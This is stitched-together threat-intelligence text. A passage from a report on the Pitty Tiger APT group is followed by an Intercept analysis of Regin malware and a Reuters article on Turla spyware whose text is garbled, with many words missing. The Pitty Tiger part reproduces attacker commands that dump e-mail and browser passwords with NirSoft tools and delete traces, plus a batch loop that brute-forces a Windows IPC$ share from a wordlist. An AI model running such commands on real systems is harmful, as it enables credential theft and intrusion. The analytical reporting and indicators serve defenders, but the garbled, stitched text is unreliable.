NT\CurrentVersion\Windows" same as for previous regedit command type v1.reg Checks the dump again dir *.reg Looking for traces left in this folder del v1.reg Deletes the one *.reg file left. del c:\windows\system32\mfqtirq.exe Removes a binary used in the attack del c:\windows\system32\crupalo.dll Removes a binary used in the attack dir c:\windows\system32\mfqtirq.exe Checks removal been successfull dir c:\windows\system32\crupalo.dll Checks removal been Public release Threat Intelligence The Eye of the Tiger Copyright 2014 Airbus Defence & Space - All rights reserved Page : 46/58 Operation Pitty Tiger The Eye of the Tiger successfull Displays the list of applications and services for all tasks running on the computer Stores the output of the previous command in 1.txt Checks the content Removes the content Lists all services running on the machine Looks for MailPass View , a tool to extract e-mail passwords from various e-mail clients Launches MailPass View and requests the output to be generated as a text file named 1.txt Looks for the content : One MSN login/password One login/password for a POP3 e-mail account related to the targeted entity Deletes both files Looks for IE PassView tool, to extract passwords from Internet Explorer. Public domain. Launches the tool, output is a text file named 1.txt Looks for the output: none Deletes both files tasklist tasklist >1.txt type 1.txt del 1.txt net start dir mailpv* mailpv /stext 1.txt type 1.txt del mailpv.exe 1.txt dir iepv* iepv /stext 1.txt type 1.txt del iepv.exe 1.txt The attacker goes on like this, using his tools, and then ends the communication with this RAT on that computer. Please note that at this point, the attacker has at least the privileges of a local administrator, since he is allowed to write content in the system32 folder of a Windows XP system. He could also gain the credentials to a sensitive e-mail account. In addition to all information already shown, we saw Toot connect to an account on a cloud service named Baidu Drive . The e-mail address linked to this account is dyanmips@qq.com (QQ-ID: 2589315828). We could find traces of two other e-mail accounts associated to Toot, cisco_dyanmips@qq.com (QQ ID: 204156335) and cisco_dynamips@qq.com (QQ ID: 1878836793). We did not find more information about user Toot , yet we miss Chinese language capabilities. Public release Threat Intelligence The Eye of the Tiger Copyright 2014 Airbus Defence & Space - All rights reserved Page : 47/58 Operation Pitty Tiger The Eye of the Tiger COLD & SNOW The controller part of CT RAT/PittyTiger RAT revealed the following about information, once translated from Chinese to English language: CT console (compatible pittytiger) v1.3 2013.12 by Trees and snow We believe this translation of the author s name might not be accurate due to the use of automated translation tools. Moreover, we have strong suspicions that there is not a single individual nicknamed Trees and snow but rather two programmers nicknamed Trees and Snow Trees could also be Cold . We noticed that the symbol for this word is translated differently according to the context it is used in. Once again, we lack Chinese language skills. We identify the two nicknames on the current campaign as Automn Snow ( ) and Cold Air Kiss ( While we are confident that these people are indeed the developers of both PittyTiger and CT RAT malware, we are not sure they belong to the PittyTiger group. These developers might just have been hired to develop these RATs. They might also just be selling it to the PittyTiger group. There is no trace of usage from other attacking groups, we believe the PittyTiger RAT is exclusively used by this group of attackers. ROLES AND ORGANIZATION According to indicators we gathered and threat activities profiling we have some hypothesis on the way the group is conducting its operations. We have strong evidence of a bot operator position. We identify one nickname for this position, the user known as TooT. As we did not see other nickname, we think that TooT is one person and not a group of persons. We also identified a malware development position. We identified two nicknames for this position on the current campaign, Automn Snow ( ) and Cold Air Kiss ( ). Yet we are unsure that they belong to the group, they might just be a third party providing or selling their malware. We have a strong suspicion of a coordinator position, which coordinates the bot operator, provides him with some logistics support (weaponized document, tools ) and reviews the programmers work. This position could imply a communication channel with another manager. We named this position Chen , in relation with several references of this common Chinese name in c&c WHOIS and other investigation materials. We have some suspicion of a customer relationship manager position that may act as an interface between a customer and Chen. We named this position Lilly Public release Threat Intelligence The Eye of the Tiger Copyright 2014 Airbus Defence & Space - All rights reserved Page : 48/58 Operation Pitty Tiger The Eye of the Tiger Proposal for PittyTiger team structure ATTACKERS ARSENAL The c&c servers used by the attackers revealed a lot of interesting files stored in various folders: Filename Description 32m.exe 3200.exe / MM RAT ieupdate.exe / insert.exe / khuvaxu.exe 32mm.exe / mm32.exe CT RAT 322.exe Chinese version of calc.exe, probably for testing purposes client.exe File transfer tool, via pipes CP.exe/CP_sep.exe Microsoft Outlook dumper CT.exe Controller for CT RAT (2013.10) ct1.exe Controller for both CT RAT and PittyTiger RAT Diruse.exe Tool to display disk usage for a directory tree GlobalWind.exe Controller for Pitty Tiger gsec1.exe GSecDump password dumper http.exe/wsup.exe Controller for MM RAT Public tool ? Public release Threat Intelligence The Eye of the Tiger Copyright 2014 Airbus Defence & Space - All rights reserved Page : 49/58 Operation Pitty Tiger The Eye of the Tiger km.exe logreader.exe Mailpv.exe Netpass.exe iepv.exe /iepv-jiake.exe routerpass.exe pstpass.exe vncpass.exe rdpv.exe lookpass.exe tools.exe, res.exe p2012.exe p.exe po.exe pp.exe pr.exe rar.exe sff.exe ssql.exe w7ij32.exe ToyI.dll winspre.exe dr.asp sk.exe Fluxay5Beta1 feitafanghuoqiang Hscan1.2 mimi.exe, mimikaz64.exe o2scan Openssl X-Scan-v3.3 8uFTP NcFTP SEPM exploit Toyi keylogger Tool to decrypt the km.exe keylogger data Mail PassView tool, to extract e-mail passwords from various e-mail clients. Network Password Recovery tool, to extract network passwords. IE PassView tool, to extract passwords from Internet Explorer. The file iepv-jiake.exe is the same, but crypted using a tool named DarkCrypt (DarkCrpt). Router PassView tool, to extract credentials in some router backup files. PstPassword tool, to extract Outlook s PST files passwords. VNCPassView tool, to extract passwords stored by the VNC tool. Remote Desktop PassView tool, to extract the passwords from .RDP files. Password revealer. Multi password dumper: RDP,VNC,IE,ProtectedStorage,MSN,Wireless, etc. Controller for Paladin 2.1 Controller for Paladin 2.2 TCP Tunneling tool. Controller for Paladin 2.1 Dotpot port scanner. Rar archiving tool, command-line version. File-searching tool to hunt for doc,txt,mdb, sec,eml,vsd,ppt,pps,dbx (SearchFile). MySQL scanner. Windows 7 DLL injector. Keylogger. Can be used with w7ij32.exe Troj/ReRol.A Front-end for Troj/ReRol.A. Snake s SkServer. Vulnerability scanner Fortinet vulnerability scanner Vulnerability scanner Mimikatz password dumper Vulnerability scanner Heartbleed Exploit X-Scan vulnerability scanner FTP client FTP client Remote command execution exploit on Symantec Endpoint Protection Manager (CVE2013-5014, CVE 2013-5015) Public release Threat Intelligence The Eye of the Tiger Copyright 2014 Airbus Defence & Space - All rights reserved Page : 50/58 Operation Pitty Tiger The Eye of the Tiger s.exe Shanian Port Scanner PHP Scanner Port scanner This is quite the usual arsenal for a group of APT attackers: Malware (Troj/ReRol.A) Remote Administration Tools (MM RAT, CT RAT, Pitty Tiger, Paladin) E-mail espionage tools (cp.exe, mailpv.exe) Passwords dumpers (gsecdump, NirSoft tools, Mimikatz etc.) Network scanners (pr.exe) Network-oriented tools (po.exe) Vulnerability scanners (ssql.exe, Fluxay, etc.) What is rare to find is the controller part of those tools. We have been lucky enough to get the controller part of Pitty Tiger and CT RAT, and even to get a kind of hybrid controller made for CT RAT but also supporting Pitty Tiger. We suppose that the CT RAT is the new evolution of Pitty Tiger and that it will replace Pitty Tiger in the following months. The presence of a Chinese version of calc.exe , the official calculator provided in Microsoft Windows, is interesting. Not only is it one more indicator of a probable Chinese origin, but also an indicator that this server was probably used as a test base, in addition to being operational and controlling infected machines from different targets. In addition to those tools, we found some interesting scripts. A script named ipc.bat uses a file named user.txt to try to brute-force a shared folder access: for /f "tokens=1,2 delims= " %%i in (user.txt) do (net use \\\ipc$ "%%j" /u:%%i) && (net use \\ /del) && (echo user:%%i pass:%%j>>succ.txt) One script used to brute-force a network share inside a company s network The user.txt file contains thousands of lines, each one being a couple of one particular username and one password attempt: administrator nameofonetargetedcompany administrator !Password administrator azerty123 administrateurnameofonetargetedcompany administrateur !Password administrateur azerty123 nameofonetargetedcompany !Password azerty123 nameofonetargetedcompany !Password azerty123 Anonymized dictionary file used for brute-forcing a network share Public release Threat Intelligence The Eye of the Tiger Copyright 2014 Airbus Defence & Space - All rights reserved Page : 51/58 Operation Pitty Tiger The Eye of the Tiger This user.txt file has been anonymized, yet we wanted to give you the feel for it. This file is 67320 lines long, and uses 5610 different passwords for each of 12 users contained in this file. The user names are clearly the result from a user enumeration and are dedicated to a particular French victim. The passwords listed in this file are either build from several campaigns or from the current campaign. A lot of passwords are related to the targeted company and might be previous passwords from users. We have also discovered a pack of files which can be used to trigger an Internet Explorer vulnerability (CVE-2014-0322). The date of these files, namely Tope.swf and index.html, was 2014/02/18, a few days after the revelation of existing exploits in the wild used in APT attacks1. We do not know if the Pitty Tiger group used this exploit or not, but found no trace indicating they did. A lot of different attackers seem to have used that vulnerability since. http://www.symantec.com/connect/blogs/new-internet-explorer-10-zero-day-discovered-wateringhole-attack Public release Threat Intelligence The Eye of the Tiger Copyright 2014 Airbus Defence & Space - All rights reserved Page : 52/58 Operation Pitty Tiger The Eye of the Tiger ATTRIBUTION Determining who is exactly behind an APT campaign is difficult. We tried to extract different technical indicators, together with contextual elements. Information relating to the tools used by the attackers has been leveraged for attribution: Several Chinese vulnerability scanners have been launched against targets; Several Chinese tools have been used and found on the c&c servers of the attackers: 8uFTP, a Chinese version of calc.exe, etc.; Two of the used RATs have been developed by the same developers: CT RAT and PittyTiger RAT. The controllers for these RATs show Chinese language; Several binaries used by the attackers show either Chinese - China or Chinese-Taiwan language ID in their resources; A decoy Word document has been found, written in Chinese language; The IP addresses used for the hosting of the c&c domains are mainly located in Taipei (Ta wan) and Hong Kong City (Hong Kong Special Administrative Region, PRC): Public release Threat Intelligence The Eye of the Tiger Copyright 2014 Airbus Defence & Space - All rights reserved Page : 53/58 Operation Pitty Tiger The Eye of the Tiger Hosting information links for the c&c servers used in this campaign Most RDP connections to the c&c infrastructure come from Chinese IP ranges in Fuqing (Fujian province, PRC). Yet some IP addresses in the USA and in Hong Kong have also been found; Public release Threat Intelligence The Eye of the Tiger Copyright 2014 Airbus Defence & Space - All rights reserved Page : 54/58 Operation Pitty Tiger The Eye of the Tiger RDP connections from attackers to the c&c infrastructure All the items listed in this chapter are strong indicators that the attackers might be Chinese. Public release Threat Intelligence The Eye of the Tiger Copyright 2014 Airbus Defence & Space - All rights reserved Page : 55/58 Operation Pitty Tiger The Eye of the Tiger CONCLUSION Pitty Tiger is a group of attackers that have been active since at least 2011. Pitty Tiger is effective and mature in the use of targeted malware, the use of known exploits to infect computers with their malware and the creation of an infrastructure to efficiently conduct APT attacks. They are quite unprofessional in their way of using their infrastructure: they do launch vulnerability scanners directly from a c&c server and also use their connection for personal activities (downloading pornographic material for example, as we have seen a whole folder on a c&c server full of xxx torrent links). Pitty Tiger is probably not a state-sponsored group of attackers. The attackers lack the experience and financial support that one would expect from state-sponsored attackers. We suppose this group is opportunistic and sells its services to probable competitors of their targets in the private sector. One governmental network has been targeted by the group, yet we do not have any evidence of the purpose of this attack. We suppose this particular attack has been executed to provide a usable bounce for the group. The campaign we studied has been largely focused on one particular target. We suspect the Pitty Tiger group to work according to an opportunistic business model: this group might offer its services to third parties from the private sector. This group seems to be very small compared to other APT groups. We have leveraged several profiles and could identify some attackers to a certain extent. We believe this group might keep working as it is now, with limited budgets, or grow to extend its attacking campaign capabilities. Public release Threat Intelligence The Eye of the Tiger Copyright 2014 Airbus Defence & Space - All rights reserved Page : 56/58 Operation Pitty Tiger The Eye of the Tiger INDICATORS This list of indicators is provided in order to help people detect Pitty Tiger APT campaign. DOMAINS Domains used by the Pitty Tiger group: (please note several subdomains are used, as seen in the report) acers.com.tw kimoo.com.tw paccfic.com foxcom.com.tw dopodo.com.tw trendmicroup.com lightening.com.tw avstore.com.tw helosaf.com.tw trendmicro.org.tw stareastnet.com.tw symantecs.com.tw seed01.com.tw skypetm.com.tw MALWARE HASHES MD5 Hashes dc3d905ed90bbc148bccd34fe0c94d2d dd87c68c1e71bb104a48a6be87a2349f a494010a51705f7720d3cd378a31733a be18418cafdb9f86303f7e419a389cc9 0750569cf1733d4fbb01169476387cc2 3282a5e77f24c645984ef152a2aea874 8a54adb3976d1c03605656ca55be7400 666ae21ceaea9bb8017a967ea6128add a1ea6dc12b983c7262fe76c1b3663b24 d5da60d678d5a55a847e1e6723c7a4d0 55e456339936a56c73a7883ea1ddb672 abb0abfab252e45bfb9106273df3c1c2 4ab74387f7a02c115deea2110f961fd3 b6380439ff9ed0c6d45759da0f3b05b8 bf95e89906b8a17fd611002660ffff32 ce15fa3338b7fe780e85c511d5e49a98 5e2360a8c4a0cce1ae22919d8bff49fd 12854bb8d1e6a590e1bd578267e4f8c9 5e2360a8c4a0cce1ae22919d8bff49fd Malware Family PittyTiger RAT Troj/ReRol.A Public release Threat Intelligence The Eye of the Tiger Copyright 2014 Airbus Defence & Space - All rights reserved Page : 57/58 Operation Pitty Tiger The Eye of the Tiger c0656b66b9f4180e59e1fd2f9f1a85f2 79e48961d1ee982a466d222671a42ccb 33714886dad497d6f0ecc255f0399004 3b498f19d467d2b8d4c778a92cacae9a f71b374d341dc55b9b825531ba843f6d 8df89df484ca5c376b763479ea08d036 0d3b3b422044759b4a08a7ad8afe55c7 789c23dfcd67a5543769a3f0261ea325 96a59b9813202734f59ae809105e73d1 26be2cbb00158dfab6c81976d93748e8 e7dc3bbe8b38b7ee0e797a0e27635cfa 4ce8593c9de2b27b5c389f651c81638b f65dc0b3eeb3c393e89ab49a3fac95a8 b0a4302789e9716705d30ad1f8775a84 81fa811f56247c236566d430ae4798eb 3654496539faedfe137a1f989359aef0 Paladin RAT CT RAT MM RAT (aka Troj/Goldsun-B) Leo RAT MALWARE STRINGS Strings (File/Network) /FC001/GET ---PittyTiger netsvcs_0x%d \MSREVT.SRG /httpdocs/mm//ComMand.sec /httpdocs/prx.sec CmdShell closed. get file ok %u bytes ok sleep %d minutes. can't open mmfile Mozilla/4.0 (compatible;) /dr.asp Data type File string / Network string File string File string File string Network string Network string File string File string File string File string User-Agent Network string Malware Family PittyTiger RAT PittyTiger RAT Paladin RAT Paladin RAT MM RAT MM RAT MM RAT CT RAT CT RAT Troj/ReRol.A Troj/ReRol.A Troj/ReRol.A Public release Threat Intelligence The Eye of the Tiger Copyright 2014 Airbus Defence & Space - All rights reserved Page : 58/58 SECRET MALWARE IN EUROPEAN UNION ATTACK LINKED TO U.S. AND BRITISH INTELLIGENCE Complex malware known as Regin is the suspected technology behind sophisticated cyberattacks conducted by U.S. and British intelligence agencies on the European Union and a Belgian telecommunications company, according to security industry sources and technical analysis conducted by The Intercept. Regin was found on infected internal computer systems and email servers at Belgacom, a partly state-owned Belgian phone and internet provider, following reports last year that the company was targeted in a top-secret surveillance operation carried out by British spy agency Government Communications Headquarters, industry sources told The Intercept. The malware, which steals data from infected systems and disguises itself as legitimate Microsoft software, has also been identified on the same European Union computer systems that were targeted for surveillance by the National Security Agency. The hacking operations against Belgacom and the European Union were first revealed last year through documents leaked by NSA whistleblower Edward Snowden. The specific malware used in the attacks has never been disclosed, however. The Regin malware, whose existence was first reported by the security firm Symantec on Sunday, is among the most sophisticated ever discovered by researchers. Symantec compared Regin to Stuxnet, a state-sponsored malware program developed by the U.S. and Israel to sabotage computers at an Iranian nuclear facility. Sources familiar with internal investigations at Belgacom and the European Union have confirmed to The Intercept that the Regin malware was found on their systems after they were compromised, linking the spy tool to the secret GCHQ and NSA operations. Ronald Prins, a security expert whose company Fox IT was hired to remove the malware from Belgacom s networks, told The Intercept that it was the most sophisticated malware he had ever studied. Having analyzed this malware and looked at the [previously published] Snowden documents, Prins said, m convinced Regin is used by British and American intelligence services. A spokesman for Belgacom declined to comment specifically about the Regin revelations, but said that the company had shared every element about the attack with a federal prosecutor in Belgium who is conducting a criminal investigation into the intrusion. s impossible for us to comment on this, said Jan Margot, a spokesman for Belgacom. s always been clear to us the malware was highly sophisticated, but ever since the clean-up this whole story belongs to the past for In a hacking mission codenamed Operation Socialist, GCHQ gained access to Belgacom s internal systems in 2010 by targeting engineers at the company. The agency secretly installed so-called malware implants on the employees computers by sending their internet connection to a fake LinkedIn page. The malicious LinkedIn page launched a malware attack, infecting the employees computers and giving the spies total control of their systems, allowing GCHQ to get deep inside Belgacom s networks to steal data. The implants allowed GCHQ to conduct surveillance of internal Belgacom company communications and gave British spies the ability to gather data from the company s network and customers, which include the European Commission, the European Parliament, and the European Council. The software implants used in this case were part of the suite of malware now known as Regin. One of the keys to Regin is its stealth: To avoid detection and frustrate analysis, malware used in such operations frequently adhere to a modular design. This involves the deployment of the malware in stages, making it more difficult to analyze and mitigating certain risks of being caught. Based on an analysis of the malware samples, Regin appears to have been developed over the course of more than a decade; The Intercept has identified traces of its components dating back as far as 2003. Regin was mentioned at a recent Hack.lu conference in Luxembourg, and Symantec s report on Sunday said the firm had identified Regin on infected systems operated by private companies, government entities, and research institutes in countries such as Russia, Saudi Arabia, Mexico, Ireland, Belgium, and Iran. The use of hacking techniques and malware in state-sponsored espionage has been publicly documented over the last few years: China has been linked to extensive cyber espionage, and recently the Russian government was also alleged to have been behind a cyber attack on the White House. Regin further demonstrates that Western intelligence agencies are also involved in covert cyberespionage. GCHQ declined to comment for this story. The agency issued its standard response to inquiries, saying that it is longstanding policy that we do not comment on intelligence matters and all of GCHQ s work is carried out in accordance with a strict legal and policy framework, which ensures that our activities are authorised, necessary and proportionate. The NSA said in a statement, We are not going to comment on The Intercept s speculation. The Intercept has obtained samples of the malware from sources in the security community and is making it available for public download in an effort to encourage further research and analysis. (To download the malware, click here. The file is encrypted; to access it on your machine use the password infected. What follows is a brief technical analysis of Regin conducted by The Intercept s computer security staff. Regin is an extremely complex, multi-faceted piece of work and this is by no means a definitive analysis. In the coming weeks, The Intercept will publish more details about Regin and the infiltration of Belgacom as part of an investigation in partnership with Belgian and Dutch newspapers De Standaard and NRC Handelsblad. Origin of Regin In Nordic mythology, the name Regin is associated with a violent dwarf who is corrupted by greed. It is unclear how the Regin malware first got its name, but the name appeared for the first time on the VirusTotal website on March 9th 2011. Der Spiegel reported that, according to Snowden documents, the computer networks of the European Union were infiltrated by the NSA in the months before the first discovery of Regin. Industry sources familiar with the European Parliament intrusion told The Intercept that such attacks were conducted through the use of Regin and provided samples of its code. This discovery, the sources said, may have been what brought Regin to the wider attention of security vendors. Also on March 9th 2011, Microsoft added related entries to its Malware Encyclopedia: Alert level: Severe First detected by definition: 1.99.894.0 Latest detected by definition: 1.173.2181.0 and higher First detected on: Mar 09, 2011 This entry was first published on: Mar 09, 2011 This entry was updated on: Not available Two more variants of Regin have been added to the Encyclopedia, Regin.B and Regin.C. Microsoft appears to detect the 64-bit variants of Regin as Prax.A and Prax.B. None of the Regin/Prax entries are provided with any sort of summary or technical information. The following Regin components have been identified: Loaders The first stage are drivers which act as loaders for a second stage. They have an encrypted block which points to the location of the 2nd stage payload. On NTFS, that is an Extended Attribute Stream; on FAT, they use the registry to store the body. When started, this stage simply loads and executes Stage 2. The Regin loaders that are disguised as Microsoft drivers with names such as: serial.sys cdaudio.sys atdisk.sys parclass.sys usbclass.sys Mimicking Microsoft drivers allows the loaders to better disguise their presence on the system and appear less suspicious to host intrusion detection systems. Second stage loader When launched, it cleans traces of the initial loader, loads the next part of the toolkit and monitors its execution. On failure, Stage 2 is able to disinfect the compromised device. The malware zeroes out its PE (Portable Executable, the Windows executable format) headers in memory, replacing with its own magic marker 0xfedcbafe. Orchestrator This component consists of a service orchestrator working in Windows kernel. It initializes the core components of the architecture and loads the next parts of the malware. Information Harvesters This stage is composed of a service orchestrator located in user land, provided with many modules which are loaded dynamically as needed. These modules can include data collectors, a self-defense engine which detects if attempts to detect the toolkit occur, functionality for encrypted communications, network capture programs, and remote controllers of different kinds. Stealth Implant The Intercept s investigation revealed a sample uploaded on VirusTotal on March 14th 2012 that presents the unique 0xfedcbafe header, which is a sign that it might have been loaded by a Regin driver and it appears to provide stealth functionality for the tool kit. This picture shows the very first bytes of the sample in question, showing the unique 0xfedcbafe header at the beginning. In order to access information stored in the computer s memory, programs use objects that reference specific locations in memory called pointers. This binary file contains some of such pointers initialized, which corroborates the hypothesis that the file was dumped from memory during a forensic analysis of a compromised system. The sample has the following SHA256 hash: fe1419e9dde6d479bd7cda27edd39fafdab2668d498931931a2769b370727129 This sample gives a sense of the sophistication of the actors and the length of the precautions they have been taking in order to operate as stealthily as possible. When a Windows kernel driver needs to allocate memory to store some type of data, it creates so called kernel pools. Such memory allocations have specific headers and tags that are used to identify the type of objects contained within the block. For example such tags could be Proc, Thrd or File, which respectively indicate that the given block would contain a process, thread or file object structure. When performing forensic analysis of a computer s memory, it is common to use a technique called pool scanning to parse the kernel memory, enumerate such kernel pools, identify the type of content and extract it. Just like Regin loader drivers, this driver repeatedly uses the generic Ddk tag with ExAllocatePoolWithTag() when allocating all kernel pools: This picture shows the use of the ddk tag when allocating memory with the Windows ExAllocatePoolWIthTag() function. The generic tag which is used throughout the operating system when a proper tag is not specified. This makes it more difficult for forensic analysts to find any useful information when doing pool scanning, since all its memory allocations will mix with many generic others. In addition, when freeing memory using ExFreePool(), the driver zeroes the content, probably to avoid leaving traces in pool memory. The driver also contains routines to check for specific builds of the Windows kernel in use, including very old versions such as for Windows NT4 Terminal Server and Windows 2000, and then adapts its behavior accordingly. Windows kernel drivers operate on different levels of priority, from the lowest PASSIVE_LEVEL to the highest HIGH_LEVEL. This level is used by the processor to know what service give execution priority to and to make sure that the system doesn t try to allocate used resources which could result in a crash. This Regin driver recurrently checks that the current IRQL (Interrupt Request Level) is set to PASSIVE_LEVEL using the KeGetCurrentIrql() function in many parts of the code, probably in order to operate as silently as possible and to prevent possible IRQL confusion. This technique is another example of the level of precaution the developers took while designing this malware framework. Upon execution of the unload routine (located at 0xFDEFA04A), the driver performs a long sequence of steps to remove remaining traces and artifacts. Belgacom Sample In an interview given to the Belgian magazine MondiaalNiews, Fabrice Cl ment, head of security of Belgacom, said that the company first identified the attack on June 21, 2013. In the same interview Cl ment says that the computers targeted by the attackers included staff workstations as well as email servers. These statements confirm the timing and techniques used in the attack. From previously identified Regin samples, The Intercept developed unique signatures which could identify this toolkit. A zip archive with a sample identified as Regin/Prax was found in VirusTotal, a free, online website which allows people to submit files to be scanned by several anti-virus products. The zip archive was submitted on 2013-06-21 07:58:37 UTC from Belgium, the date identified by Cl ment. Sources familiar with the Belgacom intrusion told The Intercept that this sample was uploaded by a systems administrator at the company, who discovered the malware and uploaded it in an attempt to research what type of malware it was. The archive contains: Along with other files The Intercept found the output of a forensic tool, GetThis, which is being run on target systems looking for malware. From the content of the GetThis.log file, we can see that a sample called svcsstat.exe and located in C:\Windows\System32\ was collected and a copy of it was stored. The malware in question is 0001000000000C1C_svcsstat.exe_sample . This is a 64bit variant of the first stage Regin loader aforementioned. The archive also contains the output of ProcMon, Process Monitor , a system monitoring tool distributed by Microsoft and commonly used in forensics and intrusion analysis. This file identifies the infected system and provides a variety of interesting information about the network. For instance: USERDNSDOMAIN=BGC.NET USERDOMAIN=BELGACOM USERNAME=id051897a USERPROFILE=C:\Users\id051897a The following environment variable shows that the system was provided with a Microsoft SQL server and a Microsoft Exchange server, indicating that it might one of the compromised corporate mail server Fabrice Cl ment mentioned to Mondiaal News: Path=C:\Program Files\Legato\nsr\bin;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Program Files\Microsoft Network Monitor 3\;C:\Program Files\System Center Operations Manager 2007\;c:\Program Files (x86)\Microsoft SQL Server\90\Tools\binn\;D:\Program Files\Microsoft\Exchange Server\bin Below is a list of hashes for the files The Intercept is making available for download. Given that that it has been over a year since the Belgacom operation was publicly outed, The Intercept considers it likely that the GCHQ/NSA has replaced their toolkit and no current operations will be affected by the publication of these samples. Regin Samples 32-bit Loaders 20831e820af5f41353b5afab659f2ad42ec6df5d9692448872f3ed8bbb40ab92 7553d4a5914af58b23a9e0ce6a262cd230ed8bb2c30da3d42d26b295f9144ab7 f89549fc84a8d0f8617841c6aa4bb1678ea2b6081c1f7f74ab1aebd4db4176e4 fd92fd7d0f925ccc0b4cbb6b402e8b99b64fa6a4636d985d78e5507bd4cfecef 225e9596de85ca7b1025d6e444f6a01aa6507feef213f4d2e20da9e7d5d8e430 9cd5127ef31da0e8a4e36292f2af5a9ec1de3b294da367d7c05786fe2d5de44f b12c7d57507286bbbe36d7acf9b34c22c96606ffd904e3c23008399a4a50c047 f1d903251db466d35533c28e3c032b7212aa43c8d64ddf8c5521b43031e69e1e 4e39bc95e35323ab586d740725a1c8cbcde01fe453f7c4cac7cced9a26e42cc9 a0d82c3730bc41e267711480c8009883d1412b68977ab175421eabc34e4ef355 a7493fac96345a989b1a03772444075754a2ef11daa22a7600466adc1f69a669 5001793790939009355ba841610412e0f8d60ef5461f2ea272ccf4fd4c83b823 a6603f27c42648a857b8a1cbf301ed4f0877be75627f6bbe99c0bfd9dc4adb35 8d7be9ed64811ea7986d788a75cbc4ca166702c6ff68c33873270d7c6597f5db 40c46bcab9acc0d6d235491c01a66d4c6f35d884c19c6f410901af6d1e33513b df77132b5c192bd8d2d26b1ebb19853cf03b01d38afd5d382ce77e0d7219c18c 7d38eb24cf5644e090e45d5efa923aff0e69a600fb0ab627e8929bb485243926 a7e3ad8ea7edf1ca10b0e5b0d976675c3016e5933219f97e94900dea0d470abe a0e3c52a2c99c39b70155a9115a6c74ea79f8a68111190faa45a8fd1e50f8880 d42300fea6eddcb2f65ffec9e179e46d87d91affad55510279ecbb0250d7fdff 5c81cf8262f9a8b0e100d2a220f7119e54edfc10c4fb906ab7848a015cd12d90 b755ed82c908d92043d4ec3723611c6c5a7c162e78ac8065eb77993447368fce c0cf8e008fbfa0cb2c61d968057b4a077d62f64d7320769982d28107db370513 cca1850725f278587845cd19cbdf3dceb6f65790d11df950f17c5ff6beb18601 ecd7de3387b64b7dab9a7fb52e8aa65cb7ec9193f8eac6a7d79407a6a932ef69 e1ba03a10a40aab909b2ba58dcdfd378b4d264f1f4a554b669797bbb8c8ac902 392f32241cd3448c7a435935f2ff0d2cdc609dda81dd4946b1c977d25134e96e 9ddbe7e77cb5616025b92814d68adfc9c3e076dddbe29de6eb73701a172c3379 8389b0d3fb28a5f525742ca2bf80a81cf264c806f99ef684052439d6856bc7e7 32-bit Rootkit fe1419e9dde6d479bd7cda27edd39fafdab2668d498931931a2769b370727129 32-bit Orchestrator e420d0cf7a7983f78f5a15e6cb460e93c7603683ae6c41b27bf7f2fa34b2d935 4139149552b0322f2c5c993abccc0f0d1b38db4476189a9f9901ac0d57a656be 64-bit Loader (Belgacom) 4d6cebe37861ace885aa00046e2769b500084cc79750d2bf8c1e290a1c42aaff Photo credit: Winfried Rothermel/AP Print This copy for your personal, non- commercial use only. order presentation- ready copies for distribution colleagues, clients customers, use the Reprints tool the top any article visit: www.reutersreprints.com. Suspected Russian spyware Turla targets Europe, United States 2:45pm Peter Apps and Jim Finkle LONDON/BOSTON (Reuters) sophisticated piece spyware has been quietly infecting hundreds government computers across Europe the United States one the most complex cyber espionage programs uncovered date. Several security researchers and Western intelligence officers say they believe the malware, widely known Turla, the work the Russian government and linked the same software used launch massive breach the U.S. military uncovered 2008. was also linked previously known, massive global cyber spying operation dubbed Red October targeting diplomatic, military and nuclear research networks. Those assessments were based analysis tactics employed hackers, along with technical indicators and the victims they targeted. "It sophisticated malware that's linked other Russian exploits, uses encryption and targets western governments. Russian paw prints all over it," said Jim Lewis, former U.S. foreign service officer, now senior fellow the Center Strategic and International Studies Washington. However, security experts caution that while the case for saying Turla looks Russian may strong, impossible confirm those suspicions unless Moscow claims responsibility. Developers often use techniques cloud their identity. The threat surfaced this week after little known German anti- virus firm, Data, published report the virus, which called Uroburos, the name text the code that may reference the Greek symbol serpent eating its own tail. Experts state- sponsored cyber attacks say that Russian government- backed hackers are known for being highly disciplined, adept hiding their tracks, extremely effective maintaining control infected networks and more selective choosing targets than their Chinese counterparts. "They know that most people don't have either the technical knowledge the fortitude win battle with them. When they recognize that someone onto them, they just dormant," said one expert who helps victims state- sponsored hacking. former Western intelligence official commented: "They can draw some very high grade programmers and engineers, including the many who work for organized criminal groups, but also function privateers." Russia's Federal Security Bureau declined comment did Pentagon and U.S. Department Homeland Security officials. Friday, Britain's BAE Systems Applied Intelligence the cyber arm Britain's premier defense contractor published own research the spyware, which called "snake." The sheer sophistication the software, said, went well beyond that previously encountered although did not attribute blame for the attack. "The threat... really does raise the bar terms what potential targets, and the security community general, have keep ahead cyber attacks," said Martin Sutherland, managing director BAE Systems Applied Intelligence. NATO NATIONS TARGETED Security firms have been monitoring Turla for several years. Symantec Corp estimates 1,000 networks have been infected Turla and related virus, Agent.BTZ. named victims, saying only that most were government computers. BAE said has collected over 100 unique samples Turla since 2010, including from Ukraine, from Lithuania and from Great Britain. obtained smaller numbers from other countries. Hackers use Turla establish hidden foothold infected networks from which they can search other computers, store stolen information, then transmit data back their servers. "While seems Russian, there way know for sure," said Mikko Hypponen, chief research officer with Helsinki- based Secure, which encountered Turla last year. Security firms that are monitoring the threat have said the operation's sophistication suggests was likely backed nation state and that technical indicators make them believe the work Russian developers. European governments have long welcomed U.S. help against Kremlin spying, but were infuriated last year discover scale surveillance America's National Security Agency that stretched also their own territory. AGENT.BTZ, RED OCTOBER Security experts say stealthy Turla belongs the same family one the most notorious pieces spyware uncovered date: Agent.BTZ. was used massive cyber espionage operation U.S. Central Command that surfaced 2008 and one the most serious U.S. breaches date. While Washington never formally attributed blame, several U.S. officials have told Reuters they believed was the work Russia. Hypponen said Agent.BTZ was initially found military network European NATO state 2008, but gave details. Secure credited with naming that piece malware 2008, though researchers believe was created already 2006. Kaspersky Lab researcher Kurt Baumgartner said believes Turla and Agent.BTZ are related Red October, which suddenly shut down after his firm reported January 2013. "Unusually unique artifacts link Red October, Agent.BTZ and Turla," said, referring strings text contained the code and functionality the malware. Eric Chien, technical director with Symantec Security Response, described Turla "the evolution" Agent.BTZ. "They are very active development group," Chien said. Finland said its Foreign Ministry computer systems had been penetrated attack last year but would not elaborate. Sweden's National Defence Radio Establishment said cyber espionage was "more common than people think", adding that had discovered multiple attacks against authorities, governments and universities, some only detected after several years. Government sources the Czech Republic, Estonia, Poland and Romania said Turla had not affected them directly. Other European governments contacted Reuters declined comment. 